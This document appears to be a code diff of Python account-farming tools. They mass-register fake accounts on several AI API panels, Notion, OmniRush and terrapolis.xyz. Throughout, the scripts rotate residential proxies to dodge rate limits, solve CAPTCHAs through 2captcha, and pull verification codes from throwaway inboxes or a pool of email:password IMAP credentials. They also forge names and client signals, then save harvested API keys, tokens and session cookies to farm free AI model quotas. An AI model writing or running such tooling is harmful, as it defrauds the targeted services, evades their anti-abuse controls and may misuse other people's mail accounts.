url = BASE + path
data = None
headers = {"User-Agent":UA, "Origin":BASE, "Referer":BASE+"/sign-up", "Accept":"application/json"}
if body is not None:
data = json.dumps(body).encode(); headers["Content-Type"]="application/json"
if raw_body is not None:
data = raw_body; headers["Content-Type"]="application/json"
if jwt: headers["Authorization"] = "Bearer "+jwt
if proxy is None: proxy = cur_proxy()
ph = urllib.request.ProxyHandler({} if proxy == "DIRECT" else {"http":proxy,"https":proxy})
opener = urllib.request.build_opener(ph)
req = urllib.request.Request(url, data=data, method=method, headers=headers)
try:
r = opener.open(req, timeout=12)
return r.status, r.read().decode()
except urllib.error.HTTPError as e:
try: return e.code, e.read().decode()
except: return e.code, ""
except Exception:
return 0, "proxy_dead"
def gen_creds():
alpha = string.ascii_lowercase + string.digits
u = "refox" + "".join(secrets.choice(alpha) for _ in range(6))
p = "".join(secrets.choice(string.ascii_letters + string.digits) for _ in range(13)) + "Aa1"
return u, p
def make_account(idx):
u, p = gen_creds()
proxy = next_proxy() # sticky per account
log(idx, "proxy", proxy)
# 1. register
for attempt in range(3):
tok = solve("/sign-up")
if not tok: log(idx, "solve fail, retry"); time.sleep(5); continue
st, resp = http("POST", f"/api/user/register?turnstile={urllib.parse.quote(tok)}",
body={"username":u,"password":p,"aff_code":AFF,"turnstile":tok,"agreement_confirmed":True}, proxy=proxy)
try: j = json.loads(resp)
except: j = {"success":False,"message":resp[:100]}
if st == 200 and j.get("success"): break
msg = j.get("message","")
if st == 0 or resp == "proxy_dead":
proxy = next_proxy(); log(idx, "proxy dead, rotate ->", proxy); continue
if st == 429 or "rate" in msg.lower():
proxy = next_proxy(); log(idx, "429 register, rotate ->", proxy); time.sleep(2); continue
if "already" in msg.lower() or "exist" in msg.lower():
u, p = gen_creds(); continue
log(idx, "reg fail:", st, msg[:120]); time.sleep(5)
else:
return None
log(idx, "REG OK", u)
# 2. login
jwt = None
for attempt in range(4):
tok2 = solve("/sign-in")
if not tok2: time.sleep(5); continue
st, resp = http("POST", f"/api/user/login?turnstile={urllib.parse.quote(tok2)}",
body={"username":u,"password":p,"turnstile":tok2}, proxy=proxy)
try: j = json.loads(resp)
except: j = {}
if st == 200 and j.get("success"):
jwt = j["data"]["access_token"]; break
if st == 0 or resp == "proxy_dead":
proxy = next_proxy(); log(idx, "proxy dead, rotate ->", proxy); continue
if st == 429:
proxy = next_proxy(); log(idx, "429 login, rotate ->", proxy); time.sleep(2); continue
log(idx, "login fail:", st, str(j)[:120]); time.sleep(10)
if not jwt:
rec = {"username":u,"password":p,"aff":AFF,"status":"reg_ok_login_fail","ts":int(time.time())}
open(POOL,"a",encoding="utf-8").write(json.dumps(rec)+"\n")
return rec
# 3. create token + reveal key
key = None; tid = None
st, resp = http("POST", "/api/token/", jwt=jwt, body={"name":"main","remain_quota":500000,"expired_time":-1,"unlimited_quota":True,"model_limits":"","allowed_ips":""})
if st == 200:
st2, resp2 = http("GET", "/api/token/?p=0&size=10", jwt=jwt)
try:
items = json.loads(resp2)["data"]["items"]
if items:
tid = items[0]["id"]
st3, resp3 = http("POST", f"/api/token/{tid}/key", jwt=jwt, raw_body=b"{}")
if st3 == 200:
key = json.loads(resp3)["data"]["key"]
except Exception as e:
log(idx, "key err", e)
rec = {"username":u,"password":p,"aff":AFF,"jwt":jwt,"token_id":tid,"api_key":("sk-"+key) if key and not key.startswith("sk-") else key,"status":"full","ts":int(time.time())}
open(POOL,"a",encoding="utf-8").write(json.dumps(rec)+"\n")
log(idx, "FULL OK", u, "key:", (key or "NONE")[:14]+"...")
json.dump({"last_idx":idx,"last_user":u,"ts":int(time.time())}, open(STATE,"w"))
return rec
def main():
target = int(sys.argv[1]) if len(sys.argv)>1 else 50
ok = 0
for i in range(target):
try:
r = make_account(i)
if r and r.get("status")=="full": ok += 1
except Exception as e:
log(i, "FATAL", repr(e)[:200])
time.sleep(20)
time.sleep(3)
log("DONE. full accounts:", ok)
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,64 @@
# reg_proxy100.py — волны ×100 через свежие прокси из пула ProxyGrabReform_bot
# python reg_proxy100.py <panel> <start> <count> [idxlist]
import sys, os, time
sys.path.insert(0, 'C:/Users/User/tmp/regfarm')
sys.path.insert(0, 'C:/Users/User/tmp/regfarm/github_oauth')
import proxy_patch
n = proxy_patch.apply()
print(f'[proxy] pool={n}', flush=True)
import reg_http as R
R.PANELS.update({
'careke': 'https://api.careke.cn',
'budsin': 'https://apichat.budsin.dev',
'factory': 'https://factory.pub',
'chengmo': 'https://api.chengmo.cc.cd',
'vsllm': 'https://vsllm.cc',
'bluesminds': 'https://api.bluesminds.com',
'futureppo': 'https://api.futureppo.top',
'xinjianya': 'https://new.xinjianya.top',
'wyy22': 'https://www.wyy22.com',
})
R.CID_CACHE.update({
'careke': 'Ov23lidGyKz1a4vvTJcO',
'budsin': 'Ov23liRLk2EjkL1U6wBq',
'factory': 'Ov23liYpDvO0unvs30hv',
'chengmo': 'Ov23lisqBbgryYRmy9iq',
'vsllm': 'Ov23lilzfngji58FxRgd',
'bluesminds': 'Ov23li6dIXgEIlgaZfwe',
'futureppo': 'Ov23liuf3EDERWtH3z8s',
'xinjianya': 'Ov23liJMiO2uF9Gd9Y8O',
'wyy22': 'Ov23li6UR9HGe9xBUCXf',
'orcarouter': 'Ov23liG25dfcvokSRMvE',
'justwoker': 'Ov23liBGecTYSePKpXQC',
'jbbtoken': 'Ov23liuIBUfD02Nbt6vt',
'jianzhile': 'Iv23li6yE1ijJOPIl3Vq',
'moyuu': 'Ov23lieXHgDisyeiJk2d',
'nova': 'Ov23li1gLxcYTVoL0Tjv',
'aaawinn2': 'Ov23lifMixr1xZGPQf3K',
})
R.PANELS.update({'orcarouter': 'https://www.orcarouter.ai',
'justwoker': 'https://api.justwoker.icu', 'jbbtoken': 'https://downstream.jbbtoken.cn',
'jianzhile': 'https://jianzhile.vip', 'moyuu': 'https://moyuu.cc',
'nova': 'https://nova.vcrauo.com', 'aaawinn2': 'https://aaawinn.xyz'})
R.SMOKE_MODEL.update({'orcarouter': 'gpt-4o-mini'})
R.SMOKE_MODEL.update({'careke': 'grok-4.6', 'budsin': 'claude-sonnet-5',
'factory': 'grok-4.7', 'chengmo': 'glm-4.5-air',
'bluesminds': 'gpt-4o-mini', 'futureppo': 'gpt-4o-mini',
'xinjianya': 'gpt-4o-mini', 'wyy22': 'gpt-4o-mini'})
R.AFF_OVERRIDE = {'careke': 'aLn9', 'budsin': '069W', 'factory': '6oZK', 'chengmo': 'lz0Q'}
R.OUT = os.environ.get('OUTNAME', 'proxy100')
_orig_main = R.main
def main_paced():
_orig_sleep = time.sleep
def paced(n):
_orig_sleep(max(n, 20))
time.sleep = paced
try:
_orig_main()
finally:
time.sleep = _orig_sleep
if __name__ == '__main__':
main_paced()

373
providers/notion_farm.py Normal file
View File

@@ -0,0 +1,373 @@
# Notion Opus/GPT-6.1 free farm — FULL PIPELINE
# 1. Voidash mailbox 2. Signup + code 3. Onboarding 4. Model select + test message
# Usage: python farm.py N [model]
import asyncio, json, re, sys, time, random, string, os
import httpx
from playwright.async_api import async_playwright
BASE = "C:/Users/User/tmp/notion_autoreg"
OUT = BASE + "/farm_accounts.jsonl"
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"
VOIDASH_DOMAINS = ["voidash.bond"]
NOTION_SIGNUP = "https://www.notion.so/signup"
FIRSTS = ["alex", "maria", "peter", "laura", "stef", "anna", "tony", "nina", "eric", "sara", "luca", "jana", "tom", "lena", "paul", "kate"]
# 1024proxy residential DE — sticky session per account
PX_USER = "YOUR_PROXY_USER"
PX_PASS = "YOUR_PASSWORD"
PX_HOST = "hk.1024proxy.io:3000"
def de_proxy(sess=None):
if sess is None:
sess = random.randint(100000, 999999)
return {"server": f"http://{PX_HOST}", "username": f"{PX_USER}-region-de-sess{sess}", "password": PX_PASS}
async def goto_retry(page, url, tries=5, timeout=90000):
for i in range(tries):
try:
await page.goto(url, wait_until="domcontentloaded", timeout=timeout)
return True
except Exception as e:
print("goto retry", i, str(e)[:70])
await asyncio.sleep(4)
return False
def voidash_create():
domain = random.choice(VOIDASH_DOMAINS)
with httpx.Client(timeout=25, trust_env=False) as c:
r = c.post("https://api.voidash.com/api/v1/inboxes", json={"domain": domain})
if r.status_code not in (200, 201):
return None, f"voidash {r.status_code}: {r.text[:100]}"
d = r.json()
return d["address"], d["session_key"]
def voidash_wait_code(session_key, deadline_s=240, since_ts=None):
t0 = time.time()
if since_ts is None:
since_ts = t0
headers = {"Authorization": f"Bearer {session_key}"}
with httpx.Client(timeout=25, trust_env=False, headers=headers) as c:
while time.time() - t0 < deadline_s:
try:
r = c.get("https://api.voidash.com/api/v1/messages")
if r.status_code == 200:
msgs = r.json()
if isinstance(msgs, dict):
msgs = msgs.get("messages", msgs.get("data", []))
for m in msgs:
try:
created = m.get("created_at") or ""
if created and since_ts:
from datetime import datetime, timezone
cts = datetime.fromisoformat(created.replace("Z", "+00:00")).timestamp()
if cts < since_ts - 120:
continue
except Exception:
pass
subj = (m.get("subject") or "").lower()
frm = json.dumps(m.get("from", {})).lower()
if "notion" in subj or "notion" in frm:
full_body = m.get("body") or m.get("text") or ""
if not full_body:
try:
r2 = c.get(f"https://api.voidash.com/api/v1/messages/{m['id']}")
full_body = r2.json().get("body") or r2.json().get("text") or ""
except Exception:
pass
lines = [l.strip() for l in full_body.splitlines() if l.strip()]
for l in lines[:4]:
if re.fullmatch(r'[A-Za-z0-9]{6,8}', l):
return l
m2 = re.search(r'\b([A-Za-z0-9]{6})\b', full_body[:200])
if m2:
return m2.group(1)
except Exception as e:
print("voidash err:", str(e)[:120])
time.sleep(6)
return None
async def farm_one(model="Opus"):
res = {"status": "error", "step": "init", "model": model}
# 1) mailbox
addr, key = voidash_create()
if not addr:
res["error"] = key
return res
res["email"] = addr
res["voidash_key"] = key
print("MAILBOX:", addr)
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True, args=["--no-sandbox"], proxy=de_proxy())
ctx = await browser.new_context(user_agent=UA, viewport={"width": 1600, "height": 1000})
page = await ctx.new_page()
try:
# ===== 2) signup =====
await goto_retry(page, NOTION_SIGNUP)
await page.wait_for_timeout(6000)
email_input = page.locator("input[type=email]").first
for _t in range(5):
try:
await email_input.wait_for(state="visible", timeout=30000)
break
except Exception:
print("email input not visible, reload", _t)
await page.reload(wait_until="domcontentloaded", timeout=60000)
await page.wait_for_timeout(5000)
else:
res["error"] = "email-input-never-visible"
return res
await email_input.fill(addr)
await page.wait_for_timeout(600)
cont = page.get_by_role("button", name=re.compile("Continue", re.I)).first
if await cont.count():
await cont.click()
else:
await email_input.press("Enter")
await page.wait_for_timeout(5000)
body = (await page.inner_text("body")).lower()
if "invalid email domain" in body or "problem" in body:
res["error"] = "rejected: " + body[:150]
await page.screenshot(path=f"{BASE}/err_{int(time.time())}.png")
return res
# ===== 3) code =====
if "verification" in body or "code" in body:
sent_ts = time.time()
code = await asyncio.to_thread(voidash_wait_code, key, 240, sent_ts)
if not code:
res["error"] = "otp-not-found"
await page.screenshot(path=f"{BASE}/err_{int(time.time())}.png")
return res
res["otp"] = code
print("CODE:", code)
code_input = page.locator("input[autocomplete=one-time-code], input[inputmode=numeric], input[name=code]").first
if await code_input.count():
await code_input.fill(code)
else:
inputs = page.locator("input")
cnt = await inputs.count()
filled = False
for j in range(cnt):
inp = inputs.nth(j)
t = await inp.get_attribute("type") or ""
ph = (await inp.get_attribute("placeholder") or "").lower()
if t not in ("email", "password") and "mail" not in ph:
await inp.fill(code)
filled = True
break
if not filled:
cells = page.locator("input[maxlength=1]")
cc = await cells.count()
for j, ch in enumerate(code):
if j < cc:
await cells.nth(j).fill(ch)
await page.wait_for_timeout(600)
cont2 = page.get_by_role("button", name=re.compile("Continue", re.I)).first
if await cont2.count():
await cont2.click()
await page.wait_for_timeout(7000)
# password (если есть)
body = (await page.inner_text("body")).lower()
pw_input = page.locator("input[type=password]").first
if "password" in body and await pw_input.count():
pw = "Not!" + ''.join(random.choices(string.ascii_letters + string.digits, k=10))
res["password"] = pw
await pw_input.fill(pw)
await page.wait_for_timeout(400)
cont3 = page.get_by_role("button", name=re.compile("Continue|Sign up|Create", re.I)).first
if await cont3.count():
await cont3.click()
else:
await pw_input.press("Enter")
await page.wait_for_timeout(7000)
# ===== 3.5) workspace via API (надёжнее браузерного онбординга) =====
try:
cks = await ctx.cookies()
tv2 = next((c["value"] for c in cks if c["name"] == "token_v2"), None)
if tv2:
api = httpx.Client(timeout=30, trust_env=False,
headers={"User-Agent": UA, "Content-Type": "application/json"})
gs = api.post("https://app.notion.com/api/v3/getSpaces", json={},
cookies={"token_v2": tv2})
has_space = False
if gs.status_code == 200:
for uid, rec in gs.json().items():
if rec.get("space"):
has_space = True
if not has_space:
cs = api.post("https://app.notion.com/api/v3/createSpace",
json={"name": "My Space", "type": "personal", "planType": "personal"},
cookies={"token_v2": tv2})
res["api_create_space"] = cs.status_code
print("API createSpace:", cs.status_code)
else:
res["api_create_space"] = "exists"
api.close()
except Exception as e:
res["api_create_space_err"] = str(e)[:120]
# ===== 4) onboarding =====
for attempt in range(15):
body = (await page.inner_text("body")).lower()
if "customize your profile" in body or "your name" in body:
name_inputs = page.locator("input[type=text], input:not([type])")
cnt = await name_inputs.count()
for j in range(min(cnt, 1)):
await name_inputs.nth(j).fill(random.choice(FIRSTS).capitalize() + " " + random.choice(FIRSTS).capitalize())
cont = page.get_by_role("button", name=re.compile("Continue", re.I)).first
if await cont.count():
await cont.click()
for _ in range(10):
await page.wait_for_timeout(1500)
b2 = (await page.inner_text("body")).lower()
if "customize your profile" not in b2 and "your name" not in b2:
break
continue
if "how do you want to use" in body:
opt = page.get_by_text(re.compile("for personal|for myself", re.I)).first
if await opt.count():
await opt.click()
await page.wait_for_timeout(2000)
cont = page.get_by_role("button", name=re.compile("Continue", re.I)).first
if await cont.count():
await cont.click()
await page.wait_for_timeout(3000)
continue
if "start with your real work" in body or "connect email" in body:
btn = page.get_by_role("button", name=re.compile("Start from scratch", re.I)).first
if await btn.count():
await btn.click()
# ждём смены экрана
for _ in range(10):
await page.wait_for_timeout(1500)
b2 = (await page.inner_text("body")).lower()
if "start with your real work" not in b2:
break
continue
if "create" in body and "workspace" in body:
btn = page.get_by_role("button", name=re.compile("Create new workspace", re.I)).first
if await btn.count():
await btn.click()
await page.wait_for_timeout(4000)
continue
if "desktop" in body and ("skip" in body or "faster" in body):
skip = page.get_by_role("button", name=re.compile("skip for now|skip", re.I)).first
if await skip.count():
await skip.click()
await page.wait_for_timeout(3000)
continue
if "/onboarding" not in page.url:
break
# generic continue — только кликабельные кнопки без disabled
cont = page.locator('button:enabled, [role=button]:not([aria-disabled="true"])').filter(has_text=re.compile(r"^\s*(Continue|Next|Get started)\s*$", re.I)).first
if await cont.count():
await cont.click()
await page.wait_for_timeout(3000)
else:
break
res["post_onboarding_url"] = page.url
print("POST-ONBOARDING:", page.url)
# ===== 5) model select + test =====
# Если после онбординга мы уже на /chat — НЕ делаем goto (перезагрузка убивает чат-сессию)
if "/chat" not in page.url:
await page.goto("https://app.notion.com/chat", wait_until="domcontentloaded", timeout=60000)
try:
await page.locator('[aria-label="Choose AI model"]').first.wait_for(state="visible", timeout=45000)
except Exception:
# fallback: перезагрузка + повторное ожидание
try:
await page.goto("https://app.notion.com/chat", wait_until="domcontentloaded", timeout=60000)
await page.locator('[aria-label="Choose AI model"]').first.wait_for(state="visible", timeout=45000)
except Exception:
res["error"] = "chat/model button missing"
await ctx.storage_state(path=f"{BASE}/state_{addr.replace('@', '_at_').replace('.', '_')}.json")
res["state_path"] = f"{BASE}/state_{addr.replace('@', '_at_').replace('.', '_')}.json"
res["status"] = "registered-no-chat"
await browser.close()
return res
await page.wait_for_timeout(2000)
await page.locator('[aria-label="Choose AI model"]').first.click()
await page.wait_for_timeout(2500)
items = page.locator('[role=menuitem]')
cnt = await items.count()
target = None
for j in range(cnt):
t = await items.nth(j).inner_text()
if model.lower() in t.lower():
target = items.nth(j)
break
if target is None:
res["error"] = f"model {model} not in menu"
else:
await target.click()
await page.wait_for_timeout(2000)
print("MODEL SELECTED:", model)
# test message
chat_box = page.locator('[contenteditable=true]').first
await chat_box.click()
await chat_box.fill("Hello! Which model are you? Answer in one short sentence.")
await page.wait_for_timeout(500)
submit = page.locator('[aria-label="Submit AI message"]').first
if await submit.count():
await submit.click()
else:
await chat_box.press("Enter")
# wait response
for i in range(40):
await page.wait_for_timeout(2500)
body = (await page.inner_text("body")).lower()
if "working on your request" not in body and "connecting the details" not in body:
if "hello! which model" in body:
break
body_full = await page.inner_text("body")
# extract reply: текст после нашего промпта
try:
idx = body_full.lower().rfind("hello! which model")
reply = body_full[idx + 200:idx + 600].strip()
res["ai_reply"] = reply[:300]
except Exception:
pass
res["model_active"] = model
res["final_url"] = page.url
state_path = f"{BASE}/state_{addr.replace('@', '_at_').replace('.', '_')}.json"
await ctx.storage_state(path=state_path)
res["state_path"] = state_path
if "signup" not in page.url and "login" not in page.url and "appeals" not in page.url:
res["status"] = "ok"
else:
res["status"] = "incomplete"
await page.screenshot(path=f"{BASE}/final_{int(time.time())}.png")
except Exception as e:
res["error"] = str(e)[:300]
try:
await page.screenshot(path=f"{BASE}/err_{int(time.time())}.png")
except Exception:
pass
finally:
await browser.close()
return res
async def main():
n = int(sys.argv[1]) if len(sys.argv) > 1 else 1
model = sys.argv[2] if len(sys.argv) > 2 else "Opus"
for i in range(n):
print(f"=== farm {i+1}/{n} model={model} ===")
res = await farm_one(model)
with open(OUT, "a", encoding="utf-8") as f:
f.write(json.dumps(res, ensure_ascii=False) + "\n")
print("RESULT:", json.dumps(res, ensure_ascii=False)[:700])
if res.get("status") != "ok" and i + 1 < n:
print("-> continuing to next account")
if __name__ == "__main__":
asyncio.run(main())

View File

@@ -0,0 +1,265 @@
# -*- coding: utf-8 -*-
"""Omnirush.ai autoreg — reversed API (reCAPTCHA v3 via 2captcha + client-signals header).
Flow (from registration-LBv3GV6_.js / omnirush-api-BCDm5SzM.js):
POST /omnirush/register {email, display_name, domain, occupation, referral_source,
consent_version, accept_consent, captcha_token, password}
headers: X-OmniRush-Client-Signals: ch=windows&gl=d3d11&font=segoe&touch=0
-> approval_state approved|pending ; Set-Cookie session
POST /omnirush/me/verify-email {code} (6-digit code from mailbox)
POST /omnirush/me/verify-email/resend (no body)
POST /omnirush/activate {token} (if email carries an activate token)
Usage: python omni_reg.py [count]
"""
import json, sys, time, random, string, re, os
import urllib.request, urllib.error, urllib.parse
import http.cookiejar
import imaplib, email as emaillib
BASE = "https://omnirush.ai"
SITEKEY = "6LcwStMtAAAAAIIYIMlD3G53LRtZcxUE3_BZumMc"
PAGEURL = "https://omnirush.ai/console"
ACTION = "signup"
CONSENT = "2026-10-07"
SIGNALS = "ch=windows&gl=d3d11&font=segoe&touch=0"
POOL = "C:/Users/User/Desktop/avtoreg/working_mails.txt"
STATE = "omni_state.json"
ACC = "omni_accounts.jsonl"
KEY_FILE = "C:/Users/User/tmp/captcha_keys_2captcha.json"
IMAP_HOST = "secureimap.t-online.de"
UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36")
OCCUPATIONS = ["Backend developer", "Software engineer", "DevOps engineer",
"Full-stack developer", "Systems programmer", "ML engineer"]
SOURCES = ["search", "github", "reddit", "hacker news", "a friend"]
DOMAINS = ["software", "devops-sre", "data-ml", "security", "systems-kernel"]
def load_key():
d = json.load(open(KEY_FILE))
ks = d["keys"] if isinstance(d, dict) else d
best, best_bal = None, -1e9
for k in ks:
try:
out = post_form("https://api.2captcha.com/res.php",
{"key": k["key"], "action": "getbalance", "json": 1}, timeout=30)
bal = float(json.loads(out).get("request", -1))
except Exception:
bal = -1.0
print(" key %s balance $%.3f" % (k.get("label"), bal))
if bal > best_bal:
best, best_bal = k["key"], bal
if best_bal < 0.05:
raise RuntimeError("all 2captcha keys empty (best $%.3f)" % best_bal)
return best
def post_form(url, data, timeout=60):
r = urllib.request.Request(url, data=urllib.parse.urlencode(data).encode(),
headers={"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0"})
return urllib.request.urlopen(r, timeout=timeout).read().decode()
def solve_recaptcha_v3(key, action=ACTION):
sub = post_form("https://api.2captcha.com/in.php", {
"key": key, "method": "userrecaptcha", "version": "v3",
"googlekey": SITEKEY, "pageurl": PAGEURL, "action": action, "json": 1})
j = json.loads(sub)
if j.get("status") != 1:
raise RuntimeError("v3 submit fail: %s" % sub[:200])
rid = j["request"]
for _ in range(30):
time.sleep(7)
g = post_form("https://api.2captcha.com/res.php",
{"key": key, "action": "get", "id": rid, "json": 1})
gj = json.loads(g)
if gj.get("status") == 1:
return gj["request"]
if "CAPCHA_NOT_READY" in str(gj.get("request", "")):
continue
raise RuntimeError("v3 get fail: %s" % g[:200])
raise RuntimeError("v3 timeout")
class Client:
def __init__(self):
self.cj = http.cookiejar.CookieJar()
self.op = urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(self.cj))
self.op.addheaders = [
("User-Agent", UA),
("Accept", "application/json"),
("Accept-Language", "en-US,en;q=0.9"),
("Origin", BASE),
("Referer", BASE + "/console"),
("X-OmniRush-Client-Signals", SIGNALS),
]
def req(self, path, data=None, method=None, timeout=40):
body = json.dumps(data).encode() if data is not None else None
r = urllib.request.Request(BASE + path, data=body,
method=method or ("POST" if data is not None else "GET"))
if body is not None:
r.add_header("Content-Type", "application/json")
try:
with self.op.open(r, timeout=timeout) as resp:
raw = resp.read().decode("utf-8", "replace")
try:
return resp.status, json.loads(raw)
except Exception:
return resp.status, raw
except urllib.error.HTTPError as e:
raw = e.read().decode("utf-8", "replace")
try:
return e.code, json.loads(raw)
except Exception:
return e.code, raw
def imap_wait(email_addr, ipass, timeout=300):
"""Return (code6, activate_token, links) from OmniRush mails."""
deadline = time.time() + timeout
while time.time() < deadline:
try:
m = imaplib.IMAP4_SSL(IMAP_HOST)
m.login(email_addr, ipass)
m.select("INBOX")
typ, data = m.search(None, '(SUBJECT "OmniRush")')
ids = data[0].split() if data and data[0] else []
for i in ids[-5:]:
typ, md = m.fetch(i, "(RFC822)")
if not md or not md[0]:
continue
msg = emaillib.message_from_bytes(md[0][1])
body = ""
if msg.is_multipart():
for part in msg.walk():
if part.get_content_type() in ("text/plain", "text/html"):
body += part.get_payload(decode=True).decode("utf-8", "replace")
else:
body = msg.get_payload(decode=True).decode("utf-8", "replace")
code = re.search(r"\b(\d{6})\b", re.sub(r"<[^>]+>", " ", body))
act = re.search(r"omnirush\.ai/omnirush/activate\?token=([\w.-]+)", body)
if not act:
act = re.search(r"/activate[^\"'\s]*token=([\w.-]+)", body)
links = re.findall(r"https://omnirush\.ai/[^\s\"'<]+", body)
if code or act or links:
m.logout()
return (code.group(1) if code else None,
act.group(1) if act else None, links)
m.logout()
except Exception as e:
print(" imap err:", str(e)[:90])
time.sleep(15)
return None, None, []
def rnd_name():
a = random.choice(["Alex", "Max", "Nick", "Ivan", "Oleg", "Dmitry", "Sergey",
"Pavel", "Anton", "Kirill", "Victor", "Roman"])
b = random.choice(["Morgan", "Fischer", "Lang", "Weber", "Keller", "Novak",
"Bauer", "Richter", "Wolf", "Stein"])
return "%s %s" % (a, b)
def one(email_addr, ipass, key):
c = Client()
pw = "Om" + "".join(random.choices(string.ascii_letters + string.digits, k=14)) + "3!"
payload = {
"email": email_addr,
"display_name": rnd_name(),
"domain": random.choice(DOMAINS),
"occupation": random.choice(OCCUPATIONS),
"referral_source": random.choice(SOURCES),
"consent_version": CONSENT,
"accept_consent": True,
"password": pw,
}
rec = {"email": email_addr, "imap_pass": ipass, "password": pw,
"display_name": payload["display_name"], "ts": int(time.time())}
for attempt in range(2):
t0 = time.time()
tok = solve_recaptcha_v3(key)
print(" recaptcha v3 token %d chars in %.0fs" % (len(tok or ""), time.time() - t0))
payload["captcha_token"] = tok
st, resp = c.req("/omnirush/register/password", payload)
print(" register HTTP %s: %s" % (st, str(resp)[:220]))
code = resp.get("code") if isinstance(resp, dict) else None
detail = resp.get("detail") if isinstance(resp, dict) else None
err = code or detail
if st in (200, 201):
rec["approval_state"] = resp.get("approval_state") if isinstance(resp, dict) else "?"
rec["resp"] = resp if isinstance(resp, dict) else str(resp)[:200]
break
if err == "captcha_failed" and attempt == 0:
print(" captcha_failed, retrying with fresh token")
time.sleep(3)
continue
rec["error"] = str(err or resp)[:120]
return rec
else:
return rec
# email verification
code6, act_tok, links = imap_wait(email_addr, ipass)
if code6:
st, r2 = c.req("/omnirush/me/verify-email", {"code": code6})
print(" verify-email(%s) HTTP %s: %s" % (code6, st, str(r2)[:120]))
rec["email_verified"] = st in (200, 201, 204)
elif act_tok:
st, r2 = c.req("/omnirush/activate", {"token": act_tok})
print(" activate HTTP %s: %s" % (st, str(r2)[:120]))
rec["activated"] = st in (200, 201, 204)
else:
print(" no verify mail found; links=%s" % (links[:2],))
rec["email_verified"] = False
# check me
st, me = c.req("/omnirush/me")
if st == 200 and isinstance(me, dict):
rec["me"] = {"approval_state": me.get("approval_state"),
"email_verified": me.get("email_verified", me.get("verified"))}
print(" me: %s" % json.dumps(rec["me"]))
try:
rec["cookies"] = {ck.name: ck.value for ck in c.cj}
except Exception:
pass
return rec
def main():
count = int(sys.argv[1]) if len(sys.argv) > 1 else 1
key = load_key()
pool = []
for line in open(POOL, encoding="utf-8"):
line = line.strip()
if line and not line.startswith("#") and ":" in line:
e, p = line.rsplit(":", 1)
if e.count("-") and re.search(r"-\d{3,}@t-online\.de$", e):
continue # dash-aliases dead for delivery
pool.append((e, p))
stt = json.load(open(STATE)) if os.path.exists(STATE) else {"idx": 0}
ok = 0
while ok < count and stt["idx"] < len(pool):
email_addr, ipass = pool[stt["idx"]]
stt["idx"] += 1
json.dump(stt, open(STATE, "w"))
print("[%d/%d] %s" % (stt["idx"], len(pool), email_addr))
try:
rec = one(email_addr, ipass, key)
except Exception as e:
print(" EXC:", str(e)[:200])
rec = {"email": email_addr, "imap_pass": ipass, "error": str(e)[:200]}
with open(ACC, "a", encoding="utf-8") as f:
f.write(json.dumps(rec, ensure_ascii=False) + "\n")
if not rec.get("error"):
ok += 1
time.sleep(random.uniform(15, 30))
print("DONE ok=%d idx=%d" % (ok, stt["idx"]))
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,93 @@
# terrapolis.xyz FULL pipeline: voidash inbox -> browser native reg -> verify email link -> save
import sys, re, json, time, random, string, requests
PAGEURL='https://terrapolis.xyz/register'; OUT='terrapolis_accounts.jsonl'
VOID='https://api.voidash.com/api/v1'
r=lambda n:''.join(random.choices(string.ascii_lowercase+string.digits,k=n))
def make_inbox():
d=requests.post(VOID+'/inboxes',json={'domain':'voidash.bond'},timeout=30).json()
return d['address'], d['session_key']
def poll_verify(addr,key,timeout=180):
t0=time.time()
while time.time()-t0<timeout:
try:
msgs=requests.get(VOID+'/messages',headers={'Authorization':'Bea'+'rer '+key},timeout=30).json()
items=msgs if isinstance(msgs,list) else msgs.get('messages',msgs.get('data',[]))
for m in items:
body=json.dumps(m,ensure_ascii=False)
lk=re.search(r'https://terrapolis\.xyz/[^\s"\<]+(?:verify|confirm)[^\s"\<]*',body)
if not lk: lk=re.search(r'(https://terrapolis\.xyz/v[^\s"\<]+)',body)
if lk: return lk.group(0).replace('\u0026','&').replace('\\/','/')
except Exception: pass
time.sleep(6)
return None
def run(n):
import cloakbrowser
proxies=[l.strip() for l in open('terr_proxies_ts3.txt') if l.strip()]
random.shuffle(proxies)
b=None; pg=None
okc=0
for i in range(n):
res={'ok':False,'provider':'browser-native+voidash','ts':int(time.time())}
try:
if b is not None:
try: b.close()
except Exception: pass
px=proxies[(i//2)%len(proxies)] if proxies else None
res['proxy']=px
res['proxy']=px
try:
b=cloakbrowser.launch(headless=True,proxy=px) if px else cloakbrowser.launch(headless=True)
except Exception:
b=cloakbrowser.launch(headless=True)
pg=b.new_page()
addr,key=make_inbox()
res['email']=addr
pw=r(14)+'A1!'; res['password']=pw
for attempt in range(3):
try:
pg.goto(PAGEURL,wait_until='domcontentloaded',timeout=60000)
pg.wait_for_selector('input[name=name]',timeout=25000)
break
except Exception:
if attempt==2: raise
pg.close(); pg=b.new_page(); time.sleep(3)
pg.wait_for_timeout(2000)
pg.fill('input[name=name]',r(8).capitalize()); pg.fill('input[name=email]',addr); pg.fill('input[name=password]',pw)
tok=None
for _ in range(45):
v=pg.evaluate("()=>document.querySelector('input[name=captcha]')?.value?.length||0")
if v>100: tok=v; break
pg.wait_for_timeout(2500)
if not tok:
res['err']='turnstile timeout'; raise StopIteration
pg.wait_for_timeout(800)
pg.click('button[type=submit]'); pg.wait_for_timeout(8000)
res['url']=pg.url
if 'verify-email' not in pg.url:
body=re.sub(r'\s+',' ',pg.evaluate('()=>document.body.innerText'))[:200]
res['err']='no redirect: '+body; raise StopIteration
lk=poll_verify(addr,key,180)
if not lk:
res['err']='no verify email'; raise StopIteration
res['verify_link']=lk[:120]
pg.goto(lk,wait_until='domcontentloaded',timeout=60000); pg.wait_for_timeout(5000)
body=re.sub(r'\s+',' ',pg.evaluate('()=>document.body.innerText'))[:250]
res['after_verify']=body
res['ok']=('подтвержд' in body.lower() or 'dashboard' in pg.url or 'успеш' in body.lower() or pg.url!='https://terrapolis.xyz/register')
res['final_url']=pg.url
if res['ok']: okc+=1
except StopIteration: pass
except Exception as e:
res['err']='EXC %s: %s'%(type(e).__name__,str(e)[:150])
print('[%d] %s'%(i,json.dumps(res,ensure_ascii=False)),flush=True)
